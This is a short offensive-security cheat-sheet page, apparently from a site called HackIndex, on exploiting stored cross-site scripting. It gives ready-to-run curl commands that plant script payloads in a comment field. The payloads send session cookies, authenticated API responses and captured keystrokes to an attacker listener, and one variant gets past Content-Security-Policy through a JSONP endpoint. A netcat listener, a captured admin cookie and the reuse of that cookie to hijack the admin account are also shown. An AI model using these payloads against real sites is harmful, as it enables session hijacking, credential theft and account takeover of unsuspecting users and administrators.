Skip to content
HackIndex logo

HackIndex

Stored XSS Exploitation

2 min read Mar 28, 2026

Stored XSS exploitation delivers payloads that execute in the browser of every user who loads the affected page. The highest value targets are admin interfaces that render user-supplied content — a stored XSS that fires for admins enables session hijacking, credential theft, and account takeover without any user interaction beyond normal browsing. Confirm persistence through stored XSS checks before delivering these payloads.

The most common stored XSS goal. The payload exfiltrates the victim's session cookie to your listener when they load the page:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' -d "comment=<script>document.location='http://$LHOST:$LPORT/steal?c='+document.cookie</script>&post_id=1"

When an admin or other user views the page, the request arrives on your listener with their cookie:

GET /steal?c=session=admin_session_abc123;role=admin HTTP/1.1
Host: 10.10.14.5:4444

Use the stolen cookie to authenticate as the victim:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/admin/ -H 'Cookie: session=admin_session_abc123' | grep -i 'welcome\|dashboard'

Fetch-Based Exfiltration

When the cookie has HttpOnly set, JavaScript cannot read it directly. Use fetch to make authenticated requests and exfiltrate the response instead:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>fetch('/api/v1/profile').then(r=>r.text()).then(d=>fetch('http://$LHOST:$LPORT/exfil',{method:'POST',body:d}))</script>" -d 'post_id=1'

Keylogger Payload

Capture keystrokes from input fields on pages where the XSS fires. Useful when the target page contains login forms or sensitive data entry:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script>document.onkeypress=function(e){fetch('http://$LHOST:$LPORT/key?k='+String.fromCharCode(e.which))}</script>" -d 'post_id=1'

CSP Bypass via JSONP

When a Content-Security-Policy is present but a trusted domain exposes a JSONP endpoint, use it as a script source to bypass the CSP:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/comments -H 'Cookie: session=YOUR_SESSION' --data-urlencode "comment=<script src='https://trusted-cdn.com/jsonp?callback=eval(atob(\"PAYLOAD_BASE64\"))'></script>" -d 'post_id=1'

References